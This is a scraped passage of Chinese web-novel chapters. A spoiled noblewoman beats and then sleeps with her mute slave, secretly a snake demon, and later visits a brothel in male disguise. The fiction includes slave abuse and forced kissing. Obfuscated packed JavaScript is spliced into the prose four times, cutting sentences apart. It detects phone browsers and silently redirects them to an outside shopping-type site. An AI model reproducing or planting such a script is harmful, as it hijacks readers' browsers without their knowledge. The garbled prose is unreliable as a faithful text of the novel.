苏娇娇被他这扭扭捏捏的模样看得心烦,啪的一巴掌落在他脸上,只是力道不重,打下去跟调/情似的,大黑面色都没变一下,只是循着那手的香味轻嗅了一下。 成功被安抚到的大黑舒服了。他老老实实地用那人类老头教的几个简单的文字回答苏娇娇的问题。 苏娇娇看了过去,眼里闪过嫌弃。 这人可真是愚笨,学了这么久,竟连“挨”“鞭”都不会写,还是用拼音代替的。 只见那纸上写道:“娇娇说让我aibian子去。” 苏娇娇嗤笑一声:“你这狗奴才倒是听话的很。” 话虽如此,但她心里的愉悦却毫不遮掩,满脸都是被他的话讨好到的意味。 果然,大黑眼睛一亮,悄然凑她更近了一些。 他正欲再偷偷闻一下她身上的香味,一巴掌又扇了过去。 这一巴掌落在实处,响亮极了。 大黑茫然地看向人类雌性。 “谁准你这个狗奴才叫本小姐娇娇的,你这条狗真是会蹬鼻子上脸的。” 苏娇娇微微垂眼,甩了甩手,这几日扇这奴才扇得多了,将她的手都扇疼了。 此时,乔郎中匆匆赶来了。 他忽视掉面前这诡异的一幕。 “怎么了怎么了?” 看到大黑,他面色愕然。 这、这伤得也太重了吧。 一边检查着伤势一边慨然。 苏娇娇问道:“这伤势几日可以好?” 乔郎中严肃着表情,沉思了一阵:“嗯……最少也得七日,方可恢复完好,看他身体健壮,应当可以再缩短上几日。” “好,那你看着给他配些药膏吧。” 乔郎中应了一声,他翻找药膏之际,忽然开口问道:“容老夫多嘴问一句,这么严重的伤,是如何弄出来的?” “跪了一晚上,又受了鞭刑,应该是这些吧。” 苏娇娇想了想,回道。 乔郎中眼睛瞪大,没忍住劝道:“苏小姐,罚奴才需有度,万不可闹出人命来。” 他年龄大,又是救死扶伤的,心中慈悲,这种事情他本不该管,但又管不住自己的这张嘴。 苏娇娇果然不乐意了。 “本小姐何时罚得没度了,你自己问问他,他是不是自愿的。” 这话实在没理。 乔郎中无奈地摇摇头。 却见那哑奴认真地点点头。 乔郎中可不相信。 这定是那哑奴被这刁蛮大小姐吓破了胆,这种话都说的出口。 自己终究只是个小小的郎中。 乔郎中叹了口气。 他将几副药膏取出,出于几分同情心,又加了几副强身健体的中药,希望能帮这哑奴少受些罪。 苏娇娇淡淡地接过,却在看到中药材的时候,面色微变。 枸杞子、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997975|147273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹿茸、人参…… 这分明是壮阳的药材。 苏娇娇想了想,没说什么。 毕竟之后这狗奴才还要给自己当炉鼎用的,这次大伤,也该好好补补。 乔郎中收拾好行囊后,便准备行礼离开,忽然被人叫住。 苏娇娇问道:“这哑奴的嗓子能治吗?” 乔郎中顿了顿。 他走近了几步,先把了脉,又仔细地观察了一下大黑的咽喉。 “这应当是后天用药物所致的哑,非先天性的哑,既是后天,便有的治。” 苏娇娇眼睛一亮。 有的治。 她是真被这哑奴弄得心烦,倘若能开口交流,也能省下许多麻烦。 “不过……这所需要的药材将花费极大,恐怕这哑奴无法支撑得起。” 乔郎中摸摸胡子。 面色忧愁。 “银两无需担心,只要你给他治好就行,到时奖赏必是少不了你的。” 苏娇娇面色淡淡,只是这话语却让人惊讶。 乔郎中压下心里的惊愕。 他原先以为苏娇娇只是个刁蛮大小姐,实是人不可貌相,心地仍是善良的。 乔郎中弯眸,笑了笑。 一旁的大黑歪头,直勾勾地看着苏娇娇。 人类雌性可真是愚笨。 他这具身体是变化而来的,并不是真的哑奴的身体。 他才不要用那个恶心的人类的身体。 自然他的嗓子也是完好的,当然可以说话,只是他不想说罢了。 毕竟为了雌性变成人类已经够丢人了,再说人类的语言实在是它们蛇界的耻辱。 待乔郎中走后,苏娇娇说道:“转过去,本小姐给你上药。” 大黑闻言,乖乖地转了过去。 他平躺在床榻之上,健壮的身躯一览无余。 苏娇娇看这却跟看一坨坨白花花的猪头毫无区别。 她面色淡淡。 跟着坐在了床榻边缘。 手上粘稠的药膏却让她面色一变。 真恶心。 苏娇娇嫌弃地将手上的药膏尽数抹在大黑背上。 她的力道一点都不轻柔,不像抹药,反而像擦手一样。 但女子的手本就白嫩,落在大黑背上,冰凉的药膏随着女子纤细的手指被抹在背上,大黑舒服地眯着眼,愈发贪恋这感受来。 苏娇娇冷哼了一声,心中恼火。 这几日闯的祸够多了,再被爹娘知晓自己体罚奴才这般严重,自己不得被弄去书房抄写经书,想到这个可能,苏娇娇心中恶寒。 被罚着不能出门也就罢了,最主要的是那几日都不可吃荤菜,这对无肉不欢的苏娇娇简直比酷刑还酷刑。 现在倒好。 真是“虎落平阳,被犬欺”,自己还要伺候这狗奴才抹药。 越想越恼火,苏娇娇不自觉力道大了些。 她的手落在鞭伤处,加重了力气,青年面色一变,不自觉“嘶”了一声。 苏娇娇动作微缓,眼珠咕噜噜转了一圈。 几分狡黠。 “疼啊?” 她愈发凑近了几分,女子身上的香味扑鼻而来。 大黑脸上痴态顿现,下意识点点头。 苏娇娇笑意盈盈:“疼也得受着,擦药哪有不疼的,疼才能好得更快啊。” 45. [锁] [此章节已锁] 原先郎中说的七日,可能会缩短一些,待乔郎中过了两天再来复查之际,他惊愕地张大嘴巴。 这才第三日吧。 青年背上的鞭痕已经淡得几乎看不见了。 整个人状态大好。 “他这身体恢复的速度实在惊人啊。” 乔郎中摸摸胡子,感慨道。 苏娇娇冷哼心想,倒也不枉自己整天给这个狗奴才抹药。 “这药膏接下来就没有必要抹了,接下来好生休养便可痊愈了。” 乔郎中吩咐道。 一旁的哑奴忽然暗了眼眸。 这几日人类雌性都会给自己擦药,他喜欢她软软的小手在自己背上的感觉,很舒服,原来自己痊愈了就不用擦药了…… 唯一可以亲近人类雌性的方法也没了。 与他相反,苏娇娇闻言笑得眉眼弯弯。 总算是结束了这伺候人的日子。 她虽然不服气,想了个办法折磨这奴才,结果发现这狗奴才可真够恶心的,自己趁机折磨他伤口,他还乐不思蜀的,反而享受其中了。 苏娇娇心情甚好地拍拍大黑的脸蛋:“你好好养伤吧,本小姐先走了。” 这话落在大黑的耳里,便是—— “我走了,你再也见不到我了。” 哑奴微微垂眸,头一次没有回应。 苏娇娇可不在意他是什么反应,她心情甚好地哼着小曲离开了,右手拽着裙边的系带,裙角左右飘动,荡起层层波浪。 天色欲晚,苏娇娇躺在美人榻之上,乌黑的发髻懒懒地垂下,帷帘若隐若现地滑落。 想到郎中的话,她忽然起了兴致。 正好那狗奴才不是身子好得差不多了,自己先尝个鲜试一下。 毕竟是自己的第一次。 即使苏娇娇对此不太在意,但此时也有些小激动。 她起身下床,坐在铜镜前,才发觉自己的脸爬上了点点红霞。 话本上说这事是愉快的,苏娇娇最喜欢玩乐的事了,她勾唇,默默整理了一下自己的发髻。 “小青。” 在门外候着的小青快步走了进来。 她轻声问道:“小姐是要宽衣洗漱了吗?” “不,你把大黑喊来。” 苏娇娇说道。 小青原本垂着的头忽然抬起,她惊愕地看向小姐:“这、这恐怕不妥吧……” 哪里有大晚上将男子传来女子闺房之中的事。 这传出去岂不是要毁了小姐的声誉。 苏娇娇微微蹙眉:“本小姐是主子,还是你是主子?” 小青也知晓自己逾越了,她只好压下心中的疑惑,乖乖地称是。 那奴才来得很快,苏娇娇不过喝了口茶的功夫,他便进来了。 这狗奴才一向不懂礼仪,进主子门竟不知晓要敲门,抬脚便走了进去。 小青惊得头都不敢抬起。 这、这、这简直是要往小姐的枪口上撞啊。 刚好了伤疤又忘了疼。 谁知苏娇娇却意外地没有摆脸色。 她让小青出去,小青方才刚被训斥了,哪里敢抗拒,走出房门时她下意识抬头看了一眼,却面色一惊,连忙将门关好。 方才那个哑奴竟然将手放在了小姐的手上。 她不敢再想,连忙退身离开。 苏娇娇垂眸看着搭在自己手上的那只手。 她微微挑眉。 “你这狗奴才难不成是又想挨巴掌了。” 这原本是恐吓的话,落在哑奴耳里,他却忽然眼睛一亮。 他使劲地点点头。 苏娇娇娇娇一笑,眉眼流转。 大黑忽得呆住了,他目不转睛地看着她。 “今日不挨巴掌了,今日玩点有意思的。” 大黑疑惑地看向人类雌性。 苏娇娇忽得靠了过来,女子身上的香味也跟着贴了过来。 她顺势坐在青年怀里,用胳膊环住他的脖颈。 凑到他耳边厮磨道:“抱住我。” 大黑的脑子嗡的一下,仿佛有一根弦断开了。 人类雌性每日都嫌弃他嫌弃得紧,哪里像今日这般亲近。 苏娇娇学着话本上的描写。 她先上前亲亲大黑的嘴巴。 蜻蜓点水般。 大黑却忽得睁大了眼睛,他目不转睛地盯着雌性。 她好像在……勾引他。 苏娇娇心里也有几分新奇。 好在这奴才嘴巴干干净净的,亲起来挺软的。 她又凑前来轻轻舔舐。 一下又一下,勾得大黑眼睛都红了。 他似乎忍不住了,将女子的后脑勺扣住,擒住苏娇娇的嘴唇就开始舔舐啃咬。 一个畜牲哪里会那些技巧。 他将这两瓣红嫩嫩的嘴唇当成了果子般。 苏娇娇被他这粗鲁的亲法吓得半死,她有些呼吸不过来了,用手使劲地拍打着大黑的脊背。 青年口中溢出一声闷哼。 不自觉放开了苏娇娇。 苏娇娇先是放松地喘了两口气,忽然奇怪地看向大黑。 “你伤不是好了吗?怎么还会疼。” 大黑闷不作声,还念着方才那滋味,他直勾勾地看着苏娇娇的嘴唇,还要上前来。 苏娇娇一巴掌就扇了过去。 “跟只发/情的公狗似的,没有本小姐的命令,不许亲我!” 大黑有些委屈。 他本来就在发情期啊。 本来不该是在这个时间的,但是自从在吃了那郎中的补药后,发/情/期忽然便提前了。 近日他一直难受得紧,方才同人类雌性嘴贴嘴,他那奇怪的感觉忽然便减少了些。 苏娇娇命令他把上衣拉上去,大黑不愿意,他还想亲苏娇娇。 “拉了才能亲。” 话落,大黑眼睛一亮。 真像一条狗似的。 他乖乖地把上衣掀起来。 健壮的身躯映入眼帘。 苏娇娇莫名面色一红。 这也不是头一回见了,可能是心中所想不同,之前看时心中清心寡欲的,此时…… 不过…… 苏娇娇微微蹙眉。 这背上的伤口为何又崩开了。 面对她的疑问,大黑支支吾吾地说不出缘由来。 苏娇娇顿感扫兴,一身的伤,还做什么呀。 她轻轻摆手:“那你赶紧回去躺着吧。” 真没劲,原以为是个身体好的,没想到竟也是个中看不中用的,到时候在床上估摸着也是个不行的。 自己还是再物色个人选吧。 苦了谁也不能苦了自己。 大黑面色一暗。 雌性又在敷衍自己。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010159|147273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他眼中有几分委屈。 方才明明答应自己,拉了衣服就可以亲的。 畜牲哪里管人类之间的等级。 仗着自己力气大,他忽然凑了过来,逮住苏娇娇的唇瓣就使劲地啃。 苏娇娇眼睛瞪大,她不停地拍打着大黑,对方像块木头桩子似的,打也打不疼。 大黑亲着亲着,忽然摸索出几分技巧来。 他伸出舌头,撬开人类雌性的牙关,强行缠着她的舌头与自己一起纠缠。 苏娇娇原本是抗拒的,她甚至已经想好之后要把这个狗奴才的舌头拔了喂狗吃,在被亲得泪眼汪汪之时,忽然有些情动,她抗拒的双手忽然顺从地环住大黑的脖颈。 女子眼尾被亲的都红了。 一双水眸潋滟,美的不可方休。 大黑逐渐发现,亲嘴已经不能解决自己难受的问题了,甚至越亲,那股感觉越发猖狂。 他急切地想要找到那个突破口,却不知所措,急得眼睛都红了。 大黑委屈地哽咽。 他垂在人类雌性的脖颈处,哽咽了一会,忽然盯着她的脖颈不动了,然后顺从地亲了上去。 苏娇娇微微仰/首。 理智与不理智在头脑中打架,最后还是理智占了上方。 她把大黑的脸微微下移:“不要留印,敢留印的话,本小姐拿鞭子抽死你。” 大黑原本有些不高兴,但是他很快发现人类雌性的身体都是香香软软的,哪里都可以亲。 他自发地开始摸索。 苏娇娇被这感觉刺/激得有些控制不住地娇/呼出声。 心里的好胜心又让她不甘示弱。 苏娇娇仗着自己看过不少话本,她开始为非作歹。 大黑的动作忽然一滞。 他的身子有些发软。 苏娇娇心中升起几分得意来。 大黑舒服地止不住地哼唧。 他靠在女子身上,安静地顺从着她的行为。 苏娇娇本觉得好玩,但是时间久了,又累得慌。 她一向是个爱享乐的。 此时觉得都让这狗奴才舒服了,心里一下子就不爽了。 苏娇娇冷哼了一声,忽然放开了手。 大黑不满足地看了过去。 “看什么看,该你了。” 苏娇娇平躺下来,女子美好的身体曲线一览无余。 大黑呼吸都沉重了几分。 苏娇娇教着他动作。 止不住地嫌弃道:“你这狗奴才怎么什么都不懂,真是个废物。” 大黑乖乖地学习。 他觉得苏娇娇比那些夫子更适合当自己的老师。 夫子上课时,他只觉得无聊、瞌睡,想化成兽形打滚。 苏娇娇给自己上课时,他兴奋地浑身都在颤抖。 大黑忽然想化成兽形,又想到人类雌性害怕自己的兽形,他遗憾地叹了口气。 脑海中思绪万千,但身体还在乖乖地听着苏娇娇的指挥。 苏娇娇舒服地眯眼,小舟在水中飘荡,被浪花席卷。 床上的苏娇娇又变了一个模样。 整个人仿佛刚出水的芙蓉般,清丽可人,眼眸中又流转着无尽媚意,勾得大黑心痒痒的。 他忽然俯身下去亲亲苏娇娇的眼眸。 “娇娇……” 沉浸在欢愉之中的苏娇娇并没有察觉到这声音。 46. 黑蛇妖 翌日,阳光斜斜地从窗□□进,点点明亮落在帷帘上,女子如云的发髻微微垂下。 苏娇娇先是感觉到身旁传来的源源不断的热源,继而感受到身体剧烈的疼痛感。 她“嘶”了一声。 身旁的青年早已醒来了,直勾勾地盯着她许久。 见此他像只小狗一样便凑了上去,轻轻蹭着苏娇娇的面颊。 软软的,香香的。 苏娇娇连人都没看清,一巴掌就扇了过去。 大早上挨了一巴掌的大黑终于老实了,他安安分分地躺在旁边,只是目光仍不老实地落在女子无意中袒露中的白皙肩头。 他昨夜尝过这滋味。 “小姐,您醒来了吗?夫人正在门外候着,要来看望您呢。” 小青轻声问道。 苏娇娇一下子激灵了。 她彻底清醒了。 她猛地看向身旁脱的一干二净的大黑。 连忙用被子将人盖的严严实实的。 苏娇娇瞪了一眼大黑,冷声警告道:“别出声,不然撕烂你的嘴。” 大黑乖乖地点头。 苏娇娇匆忙地套上单衣,身下的青年不老实地用手轻轻摩挲女子的脚踝。 门外的人已等不及了。 娘有些焦急地问道:“娇娇,还没起来吗?” 苏娇娇强忍住要把人踹下去的冲动,连忙回道:“无事,正穿衣裳呢。” 娘微微舒心:“无事就好。外面只有娘一人,无需太过于注意礼节,娘先进来了。” 苏娇娇闻言有苦说不出来。 就是担心您啊娘。 倘若是个婢女什么的,她也不必这般慌乱。 她再次仔细地将人藏好,确保不会让人瞧出端倪来。 只听见“咯吱”一声,门便开了。 娘款款而来,她的眉目含着忧愁,坐到床榻边缘。 她仔细打量着苏娇娇。 女子发髻乌黑,面色红润,眼含秋波,倒是瞧不出之前那般虚弱的模样了。 娘含笑道:“这郎中可真厉害,只吃了一副药便好多了。” 苏娇娇闻言有些心虚,的确管用。 只一夜便将她缺少的阳气补回了许多。 不过昨夜她累得厉害,倒是睡得安稳,连那困扰自己多日的梦魇也不曾缠身。 苏娇娇心下一动。 莫不是与这哑奴交合真的可以避开那黑蛇的梦魇。 正想着,身下那青年忽然舔舐了一下她的小腿。 苏娇娇的身子猛得一颤。 娘面色一惊,她拉过苏娇娇的手,慌乱道:“这是怎么了?难不成是身体哪里出问题了吗?” 苏娇娇用脚踢了一下大黑,面上却平静道:“无事,只是方才小腿抽筋了罢了。” 娘闻言笑了一声。 她拍拍苏娇娇的手。 “你呀,小时候常会小腿抽筋,哭得一把鼻涕一把泪地来找为娘,把为娘吓了一大跳,还以为是受什么伤了。” 苏娇娇也跟着笑了几声,她也记得。 那时身旁跟着的婢女小厮都被吓得够呛,生怕要掉脑袋,谁料惊动了众人,结果只是抽筋而已。 “现在如何了?为娘给你按按筋骨。” 娘说着就要拉开被子。 苏娇娇见此心中大惊,连忙把人拦住。 面对娘疑惑的目光,她不好意思地笑道:“好多了好多了。” 见状,娘便坐直身子,又开始絮絮叨叨地和苏娇娇说话。 今日这丫头格外的不同,以前她总觉得自己唠叨,找个借口便逃走了,这会她竟然乖乖地坐直着身子,也不顶嘴,听了她说的话还会点头回应。 娘眉眼弯弯,逮着这个机会赶紧说教上几句。 “娇娇你如今也芳龄不小了,过不了多久便是要出嫁的大姑娘,玩乐的心便要收敛了。” 被子下面,青年敏锐地感觉到苏娇娇异常的配合。 他顺着杆子往上爬,一会摸摸这里,一会亲亲那里。 果然,女子有苦难言,碍于床榻边缘还坐着娘,不敢将被子中为非作歹的狗奴才踢下床,实在过分之际,也只敢用脚轻轻踢一下大黑。 在她看来,这是警告。 但在大黑看来,这简直就是人类雌性在跟自己撒娇。 那只白嫩的足踢过来不痛不痒的,反而让大黑更加激动。 苏娇娇脸都青了。 自己踢了这狗奴才一脚,他非但不收敛,反而握住她的脚,揉捏舔舐。 酥麻的感觉传来。 苏娇娇面色一颤。 她终于克制不住地催促:“娘,时辰也不早了,您快回屋吧。” 娘见怪不怪地说了她几句,便要起身离开。 苏娇娇紧紧地盯着她的背影,直到妇人关上房门后,她将被子掀开。 冷冷地看着大黑。 青年眼睛亮亮地看向苏娇娇。 苏娇娇忽然对他笑了笑。 明媚如花,勾人心魄。 大黑面上带了几分痴态。 骤然,整个人被踢下了床。 “该死的狗奴才,真是吃了雄心豹子胆,给本小姐滚。” 大黑狼狈地爬了起来,他还要往床上爬,便看到苏娇娇扬起的手掌。 虽然他不怕疼痛,但是直觉告诉他,人类雌性此时很生气。 大黑此时身上只着一个裤衩子,健壮的身躯一览无余。 眼看着他便要起身往出走。 苏娇娇眉头跳了跳。 这个该死的狗奴才,敢这样出去,岂不是人人都要知晓昨夜发生了何事。 “滚回来。” 大黑脚步微滞,他转过头,衣服便被扔了过来。 “穿上,翻窗出去。” 苏娇娇此时也已穿好外衣了。 她淡淡地吩咐道。 只是心里却不如面上这么平静了。 该死的狗奴才。 一点都不知道轻重,跟只狗崽子似的,浑身使不完的牛劲。 他倒好,自己舒服了,满脸的餍足,苦全让苏娇娇受了。 苏娇娇此时更百般看这奴才不顺眼了。 见人翻窗出去了。 苏娇娇对着门外喊道:“小青,备好热水。” 小青将夫人送走后,闻言去传话烧热水。 一旁的婢女有些惊奇地悄声问道:“昨夜小姐不是已沐浴过了,为何这大清早的又要沐浴?” 小青眉头微动,低声道:“慎言,主子的事不是我们能打听的。” 婢女连忙后怕地闭了口。 小青微微叹了口气。 她不去想,昨夜大黑进了小姐的闺房,又是何时出去的。 这不是她一个婢女敢思虑的。 苏娇娇这次沐浴没敢叫婢女来伺候,她自己将身上擦洗干净,有时碰到敏感部位,会疼得龇牙咧嘴,这时苏娇娇便会在心里将那狗奴才狠狠地唾骂一百遍,这才好过了些。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020275|147273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 想到自己的那个猜测。 苏娇娇有些动心,又后怕事后的疼痛。 算了算了。 还是过段时间吧。 洗漱干净后,苏娇娇呼了口气,身体舒服多了。 那狗奴才真是什么都不知晓。 下次一定要让他在弄完后,给自己清洗一番。 苏娇娇让人传来膳食,坐在桌旁,心情颇为愉悦。 刚吃了没多久,她忽然闻到了一股清香。 苏娇娇轻嗅了两下,她看向门外。 只见大黑拿着两个蛇果走了过来,他见苏娇娇的目光被自己吸引,面上不得有些自得。 他就知晓,人类雌性抵抗不了蛇果的味道。 她既愿意和自己交合,和自己生蛇蛋,便是自己的雌性了。 雌性喜爱吃蛇果,那他定是要费尽心思去采摘来讨好雌性。 只是对方却不像自己想象中那般惊喜。 苏娇娇冷冷地看着他。 “你将本小姐房中的蛇果偷走了?” 怪不得那日怎么喊也喊不来,她还以为真是那黑蛇显灵,将蛇果拿走了,原是被这狗奴才偷走了,害的自己空欢喜一场。 大黑愣住了。 他摇摇头。 人类雌性的蛇果他一个也没拿,这两个蛇果是他前两天刚从山中采摘而来的。 苏娇娇哪里信他的话。 原本心中的思绪慢慢平息,眼神逐渐冷淡。 她以前只觉这奴才虽不识字,不懂常识,不懂礼仪,但至少人是可靠的,却不想竟是个偷奸耍滑的。 “罢了,那两个果子便赏给你了。” 大黑懵懂的眼神看向苏娇娇。 心里有些失落。 人类雌性此时变得很不一样,虽然语气没变,但看自己的眼神却发生了变化。 大黑不知晓是什么,但是他知道这不好。 哑奴呆愣地想要前来解释。 苏娇娇眉间几分不耐烦,她抬手道:“小青,送人出去。” 大黑不知该怎么解释,他抬手打手语,苏娇娇却一眼也不瞧,无力感袭来。 眼见小青面含歉意,抬手示意大黑离开,大黑抬头深深看了一眼苏娇娇,然后抬脚走了出去。 临走时,他将那两个蛇果放在了桌上。 苏娇娇面露嫌弃,将蛇果丢了下去。 “哪里偷来的果子也配送给本小姐,小青,将这果子丢出去喂狗吃。” 小青轻轻地应了一声。 她正欲将蛇果拿出去,忽然被苏娇娇叫住。 苏娇娇蹙眉道:“这果子还挺珍贵的,丢了倒怪可惜的,罢了,就放那吧。” 小青只好又放下。 心下悄声道,小姐你哪里是会心疼东西的人。 苏娇娇用过膳后,心中忽然有些烦闷。 她没多想。 这几日都被关在这宅子里,是个人都会烦闷的,更何况是一直以来都闲不住的苏娇娇。 “走了,小青,本小姐带你出去长长见识。” 苏娇娇勾唇一笑,眼里划过狡黠。 小青忍不住提醒道:“老爷夫人前几日刚说让小姐您好好静养。” “你不言,我不说,他们哪里会知晓。” 苏娇娇忽然看向小青。 “难不成,小青你会背叛本小姐吗?” 小青闻言一惊,连忙道:“小姐明鉴,奴婢不敢。” 苏娇娇满意地笑笑。 47. 黑蛇妖 灯火阑珊,斜斜的小巷中,一个小楼隐蔽地屹立于此,却又存在感极强。 楼中灯火通明,门外两个衣着暴露的女子揪着手帕,娇娇地朝过路人笑着,招得他们眼睛都直了。 两个公子站在不远处,其中那个眉目青涩的少年面露尴尬,时不时扯扯自己的衣摆,他对自己这副模样不自在极了。 相反,另一个眉目俊俏的公子一身青衣,手中握着一把蒲扇,他目光毫不避讳地看向那个小楼——怡春楼,当地的青楼。 小青害怕地看看四周,忍不住开口道:“小姐,我们穿男装已是大事,您别说您要进去……这里吧。” 苏娇娇微微扬眉,眉间风流韵味流转:“那当然了,不然怎么算长见识。” 小青闻言惊愕。 她面露犹豫,支支吾吾地说不出话来。 这、这实在是太礼崩乐坏了。 哪里有女子女扮男装逛青楼的事情。 苏娇娇睨了一眼小青:“你不敢,就回去吧。” 话落,她便抬脚走了进去。 小青咬牙,她哪里敢让小姐独自前往青楼,只好也跟了上去。 门外的两个女子见两个翩翩少年郎一前一后走了进来,眼睛一亮。 平日里伺候的都是一身肥肉的恶心的男人,多久没见过这么干净的男人了。 她们谄媚地贴了过来。 苏娇娇面不改色,小青就有些接受不了了。 那女子实在是…… 竟然就把自己的柔软贴在自己身上,即使同为女子,小青也觉得羞耻极了。 那女子见状心中好笑,这少年郎面色一红,竟然这般害羞,摆明了还是个未经人事的雏。 “公子是来找人伺候的吗?让我们两姐妹来伺候你们吧。” 女子在苏娇娇的耳尖哈气,轻吐话语。 苏娇娇微微避开,笑道:“姑娘的好意我们心领了,不过我们前来是为了喝酒听曲。” 女子微微失落,眼中的亮光都消减了。 “那好吧,公子请进吧。” 她引着苏娇娇他们进去。 贴着小青的女子心生坏意,眼见无法与这青涩的少年郎春风一度,她忽然媚笑一声。 在他们进门前夕,拿起小青的手放在自己胸口处轻/捏了一下。 小青大惊,这下从脸红到了脖颈处。 他如惊弓之鸟般从女子身旁跳开。 女子哈哈大笑。 小青后怕地缩到苏娇娇身旁,忍了忍,还是不忍住,她悄声开口道:“小姐,咱们离开这里吧,这里的女子……” 苏娇娇忽然抬眸看了他一眼,调侃道:“怎么了?就因为那女子让你摸了她的胸?” 这话语太粗鲁了,小青一下子红了脸,她半晌说不出话来。 “小姐……你……” 苏娇娇勾唇一笑,有些体会到那女子为何会故意逗弄小青。 老鸨闻声快步走了过来,她精明的眼神在两人身上打量一番。 两人身上穿的衣裳布料精细,显然是上好的布子,身份定是普通不了的。 即使两人皆眉目清秀,衣裳布料相似,但气质却截然相反。 左侧的青衣男子神情大方,不卑不亢,在她的打量下,安然自若。 而他右侧的少年神情时不时会浮现出几分不自然,在她的打量下,不自觉地避开她的目光,躲在那青衣青年身后。 老鸨目光闪烁,已将两人的身份地位摸得差不多了。 她连忙讨好地看向苏娇娇,问道:“公子前来是要寻欢吗?让我去打点安排一下。” “不,只是喝酒听曲。” 苏娇娇想了想:“要嗓子好的,腰肢软的,跳舞好看的。” 老鸨想了想:“这当然没问题,公子您来雅春阁的包厢,一会春枝,梨鱼就来给您唱曲跳舞。” 苏娇娇随手从腰间荷包中取出三块银子,小青便自觉地接过递给老鸨。 老鸨眼睛一亮。 出手这般阔绰。 果然她没看错。 这分明是一个富贵的公子哥带着自己的小厮来寻欢作乐。 什么只喝酒听曲。 装模作样罢了。 她看惯了这般作风的男人,虚假的很,说好的只要清倌,最后却硬压着哭闹的清倌一夜。 那清倌事后哭闹了好久,老鸨可不想再沾惹这麻烦事,这次她便直接将接过客的唱曲跳舞好的姑娘送去。 包厢内的酒闻着香甜。 苏娇娇给自己倒了一杯,又给小青倒了一杯。 小青先是被小姐给自己倒酒的行为吓了一跳,继而连连摇头。 她从未喝过酒,哪里能喝酒的。 苏娇娇倒也不勉强,自己将那杯酒一饮而尽,然后咂咂嘴,回味了一下。 “不错,好酒。” 眼见苏娇娇喝了一杯又一杯,转眼间三杯已下肚了,小青连忙制止道:“小姐,不敢再喝了,喝酒伤胃。” 苏娇娇挑眉,眼前已经有几分朦胧了。 她意外的好说话,将酒杯放了下来,小青松了一口气。 此时,两个点的姑娘也进来了。 一人拿着琵琶,一人穿着舞衣,款款而来。 两人看到点自己的是两个清秀的青年,心中一喜。 接客是必然的,但谁不想陪斯文俊朗的男子。 态度越发殷勤了。 拿着琵琶的女子坐了下来,眉间媚意流转。 她的嗓子果然极好,如黄鹂鸟一般清脆。 “春枝给公子们唱一首《梅花三弄》。” 这曲是她常会唱的小曲,那些“文人墨客”点她唱曲,听了以后便会觉得她的出淤泥而不染,身处不雅之地,也依然保留着高尚的情操。 那群男人,她早都摸透了。 总幻想着将风尘失足女子从泥潭中救起,让她重返正途,却又想良家妇女变成淫/妇。 话落,她白皙纤长的手指落在琴弦上,轻轻拨弄,曲调流畅地滑落出。 于此同时,她轻声吟唱道:“浩然于寒风肆虐,任冰雪挂流,即知此是北国,当担众生忧,一颗赤子心,化解路人愁,梅花弄,拨迷津之路……” 春枝的眉间浮现几抹忧愁。 梨鱼眼里闪过几分嫉恨,这个该死的春枝,惯是会出风头的。 她也不甘示弱。 脚下轻点,婀娜的身姿扭动,薄如蝉翼的衣裳下,如玉的身躯若隐若现。 她悠悠地看向苏娇娇,眼里媚意流转。 换作是真正的男人,定是被她们勾住了,可惜苏娇娇是个女子。 此时那醉意忽然上头了, 苏娇娇迷惘地睁着眼,她不懂音乐也不懂舞蹈。 只觉得挺美的。 苏娇娇从荷包中又掏出两块银子,塞到小青手里。 “赏。” 小青睁大眼,虽然这两个女子表演得不错,但也不至于赏这么多银子吧,小姐真是太奢靡了。 只好肉疼地递给了春枝和梨鱼。 两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037632|147273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个女子动作微顿,对视了一眼,目光闪烁。 她们忽然停了动作。 扭动着身子地朝着两人走来。 春枝直直便往苏娇娇的怀里坐了下来。 温香软玉在怀,苏娇娇意外的思绪停滞了下。 此时,她忽然感觉到一阵恶寒,仿佛有一双眼睛在暗处偷窥着自己。 苏娇娇抖了抖身子,摆脱了这奇怪的想法。 梨鱼也想要坐到小青怀里,却被小青像避邪似的躲开了。 